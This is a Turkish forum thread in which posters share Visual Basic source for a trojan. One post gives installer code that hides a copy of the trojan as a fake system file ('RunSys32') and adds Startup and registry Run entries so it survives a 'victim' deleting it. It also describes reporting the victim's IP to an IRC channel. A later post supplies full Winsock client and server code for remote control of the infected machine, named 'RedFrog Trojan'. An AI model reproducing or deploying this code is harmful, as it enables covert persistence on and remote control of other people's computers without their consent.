App'ların hepsinde hata verio burda app kısmına ne eklemem lazım... ?!

1: Formun Load olayı şöyle başlıyor; 'KOPYALAYIP PROJEYE YAPIŞTIRIN DAHA RAHAT İNCELERSİNİZ. On Error Resume Next 'olası hatalara karşı Dim eski, yeni 'Dosya ismi değişikliği için MkDir "c:\windows\system\RunSys32" 'Windows/system altına RunSys32 adında inandırıcı bir klasör FileCopy "c:\program files\Program\trojan. exe", "c:\windows\system\runsys32\trojan. exe" 'Serverın Bir exe ye gömüldüğünü yada Setup ile Prog. Files a kuruldugunu dusunuyoruz. Ve onu Oluşturduğumuz klasöre kopyalıyoruz. ChDrive "C" 'c sürücüsüne geç eski = "c:\windows\system\runsys32\trojan. exe" yeni = "c:\windows\system\runsys32\runsys32. exe" Name eski As yeni 'kopyaladığımız Trojan. exe nin ismini RunSys32. exe olarak değiştiriyoruz SetAttr "c:\windows\system\runsys32", vbSystem + vbHidden 'Klasörü ve RunSys32 Dosyamızı Gizli ve sistem Klasörü/dosyası haline getiriyoruz. SetAttr "c:\windows\systeam\runsys32\runsys32. exe", vbHidden + vbSystem FileCopy "c:\windows\system\runsys32\runsys32. exe", "C:\windows\Start Menu\Programlar\başlangıç\runsys32. exe" App. TaskVisible = False 'ctrl+alt+del de görünmez Ama işe yaramıyo Dim KayitDefteri As Object 'Kendini başlata kopyalıyo Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" If App. PrevInstance Then 'Serverın birden fazla açılmasını engelliyo. End End If Shell "c:\windows\system\Runsys32. exe", vbNormalFocus 'Runsys32 yi çalıştırıyoruz. Bağlantı kodlarını yazmıyorum, Sitede yeterince döküman var bu konuda. Böylece Kurban yolladığınız programdan şüphelenip silse bile Runsys32 adında, bir sistem dosyası görünümündeki Serverımız hala aktif, Her açılışta başlıycak, ve isminden dolayı fazla dikkat çekmiycek, Tabi bu ortadüzey kullanıcılar için geçerli. Birde şu bayabi sorun oluyo, Trojan server ının olduğu Pc nin ip sini ertesi gün bulmak biraz zor. Ben bunun için şöylebir çözüm düşündüm. Server içerisine küçük bir. exe gömdüm. bu programcık Her 5 dakikada bir internet bağlantısını kontrol ediyor, eyer nete bağlı ise, Belirlediğim irc Servera ve belirlediğim kanala baglanıyor , Bende ipsini Kolaylıkla bulabiliyorum. . Birde ip adresini e-mail olarak göndertmek fikri var ama biraz kasıyo Trojan. zip dosyasını indirmeyi unutmayınız... 3: Ben kendime göreve dizayn etmiştim : - Özellikler : Command 1 Bağlanmak için Command 2 Cdromu açmak için Command 3 Cdromu kapatmak için Command 4 Başlat çubuğunu Göster Command 5 Masaüstünü Sakla Command 6 Masaüstünü Göster Command 7 Başlat Çubuğunu Sakla Command 8 Mouse Sağ el hakim olsun Command 9 Mouse Sol el Sahip olsun Command 10 Mesaj Yollama Text 3 Mesaj metni Text1 ip Yazılacak kısım Tex4 Bağlantı Göstergesi JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi buraya Minnetimi ödiyim ben, saolun hepiniz Client Private Sub Command1_Click Winsock. Close Winsock. Connect Text1. Text, 277 End Sub Private Sub Command10_Click Winsock. SendData "Message= Text3. text" DoEvents End Sub Private Sub Command2_Click Winsock. SendData "Cdopen" DoEvents End Sub Private Sub Command3_Click Winsock. SendData "Cdclose" DoEvents End Sub Private Sub Command4_Click Winsock. SendData "showtask" DoEvents End Sub Private Sub Command5_Click Winsock. SendData "hidesk" DoEvents End Sub Private Sub Command6_Click Winsock. SendData "showdesk" DoEvents End Sub Private Sub Command7_click Winsock. SendData "hidetask" DoEvents End Sub Private Sub Command8_Click Winsock. SendData "getmouse" DoEvents End Sub Private Sub Command9_Click Winsock. SendData "leavemouse" DoEvents End Sub Private Sub Timer1_Timer On Error Resume Next Text4. Text = Winsock. State End Sub Private Sub Form_Unload Winsock. Close End End Sub Private Sub winsock_connect Text4. Text = "Connected!" Form1. Caption = "RedFrog Trojan Connected" Command1. Caption = "Connect New" End Sub 0 Server 0 Option Explicit Private Declare Function SetWindowPos Lib "user32" As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" As Long Const SWP_HIDEWINDOW = &H80 Const SWP_SHOWWINDOW = &H40 Private Sub Form_load server. LocalPort = 277 server. Listen Me. Hide End Sub Private Sub server_connectionrequest server. Close server. Accept requestid End Sub Private Sub server_DataArrival Dim tmpData As String server. GetData tmpData Select Case tmpData Case "Cdclose" JohnSysInfo1. CDRomDoor = False Case "Cdopen" JohnSysInfo1. CDRomDoor = True Case "showtask" Timer1. Enabled = True Timer1. Interval = 10 Timer2. Enabled = False Case "hidetask" Timer2. Enabled = True Timer2. Interval = 10 Timer1. Enabled = False Case "hidedesk" Timer3. Enabled = True Timer3. Interval = 10 Timer4. Enabled = False Case "showdesk" Timer3. Enabled = False Timer4. Enabled = True Timer4. Interval = 10 Case "getmouse" JohnSysInfo1. UseLeftHandMouse = False Case "leavemouse" JohnSysInfo1. UseLeftHandMouse = True End Select End Sub Private Sub timer1_timer Dim Thwnd As Long Thwnd = FindWindow Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) End Sub Private Sub timer2_Timer Dim Thwnd As Long Thwnd = FindWindow Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) End Sub Private Sub timer4_timer Dim hWnd As Long hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hWnd, 5 End Sub Private Sub timer3_timer Dim hWnd As Long hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hWnd, 0 End Sub